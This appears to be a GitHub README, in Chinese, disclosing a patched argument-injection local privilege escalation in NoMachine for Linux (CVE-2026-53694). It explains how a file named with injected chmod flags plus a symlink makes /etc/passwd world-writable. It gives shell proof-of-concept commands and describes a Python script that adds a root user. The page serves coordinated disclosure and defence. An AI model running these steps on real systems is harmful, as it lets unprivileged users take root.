do4choo/CVE-2026-53694-NoMachine-LPE

GitHub: do4choo/CVE-2026-53694-NoMachine-LPE

该项目提供了 NoMachine Linux 版参数注入本地权限提升漏洞(CVE-2026-53694)的完整技术分析与概念验证,展示如何通过文件名注入绕过粘滞位保护实现 root 提权。

Stars: 0 | Forks: 0

# CVE-2026-53694:通过参数注入实现 NoMachine 本地权限提升 ![CVE](https://img.shields.io/badge/CVE-2026--53694-red) ![Status](https://img.shields.io/badge/Status-Patched-brightgreen) ![Target](https://img.shields.io/badge/Target-NoMachine_Linux-blue) ![Language](https://img.shields.io/badge/Language-Python-yellow) ## 概述 本仓库包含 CVE-2026-53694 的分析报告和概念验证(PoC),这是 Linux 版 NoMachine 中的一个本地权限提升(LPE)漏洞。 由于 `nxchmod.sh` 脚本对参数分隔符处理不当,本地无特权用户可以将参数注入到以 `root` 身份执行的系统命令中。通过将此参数注入与符号链接相结合,攻击者可以覆盖关键系统文件(例如 `/etc/passwd`),并将其权限提升至 root。 该漏洞目前已被供应商完全修复。 ## 发现过程 发现这个漏洞是一个不断试错并在深夜获得顿悟的过程。以下是发现该漏洞的经过: 1. **观察目标:** 我注意到 `/usr/NX/scripts/restricted/nxchmod.sh` 脚本会定期由 root 用户执行,以管理特定目录的权限。 2. **初步想法(死胡同):** 我看到脚本正在对文件应用 `chmod a+rw`。我想:*如果我能控制目标位置,我能否使用符号链接让 `/etc/passwd` 变得可写?* 我测试了标准的符号链接(`ln -s /etc/passwd /tmp/asdf`),但失败了。像 `/tmp` 这类目录上的 Linux 粘滞位会阻止 root 用户盲目跟随由其他用户创建的符号链接。 3. **突破:** 后来在审查脚本执行时,我注意到命令是如何构建的:`${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}`。脚本直接获取字面量文件名并将其传递给 `chmod`。 4. **通过文件名进行命令注入:** 我意识到我可以创建一个名称中包含空格和标志的文件。我创建了一个名为 `X1234 -R -L` 的文件。当脚本运行时,`chmod` 命令将其展开为多个参数,而不是作为单个文件路径处理。 5. **绕过粘滞位:** 通过文件名将 `-L`(跟随符号链接)和 `-R`(递归)标志注入到 `chmod` 命令中,我强制 `chmod` 二进制程序自行解析并跟随我在目录中创建的符号链接,从而完全绕过了粘滞位保护。 6. **实现 LPE:** 一旦 `/etc/passwd` 变得可写(`a+rw`),我只需向该文件追加一个新的 root 用户并使用 `su` 登录即可。 ## 技术分析 该漏洞源于 NoMachine 处理 X11/Wayland 套接字权限的方式。`nxchmod.sh` 脚本由以 root 身份运行的 `nxserver.bin` 守护进程派生。 存在漏洞的执行过程如下所示: ``` # /usr/NX/scripts/restricted/nxchmod.sh ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH} ``` 如果攻击者创建了一个目录结构以及一个名为 `X1234 -R -L` 的文件,root 最终执行的命令将变为: `/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L` 当指向 `/etc/passwd` 的符号链接被放置在 `X1234` 目录中时,注入的 `-R` 和 `-L` 参数会强制 `chmod` 递归跟随符号链接,并为目标文件授予全局读写权限。 ## 利用条件 要使此漏洞利用生效,目标系统必须满足以下条件: * 操作系统必须使用 Wayland(而非 X11)。 * Xwayland 必须处于活动状态。 * 必须有正在运行的图形会话(仅登录界面即可满足条件)。 ## 概念验证 你可以使用 shell 命令手动重现此漏洞,也可以使用提供的 Python 脚本自动执行。 ### 方法 1:手动执行(Shell) 导航到 `/tmp/.X11-unix/` 并执行以下命令来创建恶意的目录结构。 ``` cd /tmp/.X11-unix/ # 1. Exploitation 设置 touch "X1234 -R -L" mkdir X1234 ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn # 等待 nxchmod.sh 执行(最多可能需要 60 秒)。 # 验证 /etc/passwd 的权限是否已更改为 -rw-rw-rw- # 现在您可以编辑 /etc/passwd 以添加 root 用户。 ``` 一旦你验证了漏洞并提升了权限,请运行以下清理命令以恢复系统稳定性并移除相关痕迹: ``` # 2. Cleanup rm "X1234 -R -L" unlink X1234/pwn rmdir X1234 chmod 644 /etc/passwd ``` ### 方法 2:自动化漏洞利用 `poc.py` 中提供了完整的自动化漏洞利用脚本。该脚本会验证 Wayland 要求,设置符号链接,等待 `nxchmod.sh` 执行周期,并向 `/etc/passwd` 注入一个新的 root 用户(`gg`) 运行漏洞利用脚本: ``` python3 poc.py ``` ## 修复建议 此漏洞已被 NoMachine 解决。用户应更新至以下版本或更高版本: * NoMachine 9.5.7 * NoMachine 8.23.2 ## 时间线 * **2026-04-20:** 向供应商报告漏洞。 * **2026-04-23:** 供应商确认漏洞并同意进行协调披露。 * **2026-05-07:** 供应商发布修复版本(9.5.7 和 8.23.2)并发布故障报告 TR04X11802。 * **2026-06-10:** CVE-2026-53694 发布至 NVD。(官方 MITRE 记录目前仍在等待全面分析和鸣谢更新(最后检查时间为 2026-07-01)) ## 参考 * [NoMachine 故障报告 TR04X11802](https://kb.nomachine.com/TR04X11802) * [NoMachine 软件更新 SU05X00274](https://kb.nomachine.com/SU05X00274) * [NoMachine 软件更新 SU05X00275](https://kb.nomachine.com/SU05X00275) * [NVD - CVE-2026-53694](https://nvd.nist.gov/vuln/detail/CVE-2026-53694)
标签:Cutter, PoC, Python, Web报告查看器, 应用安全, 无后门, 暴力破解, 本地提权, 漏洞分析, 路径探测, 逆向工具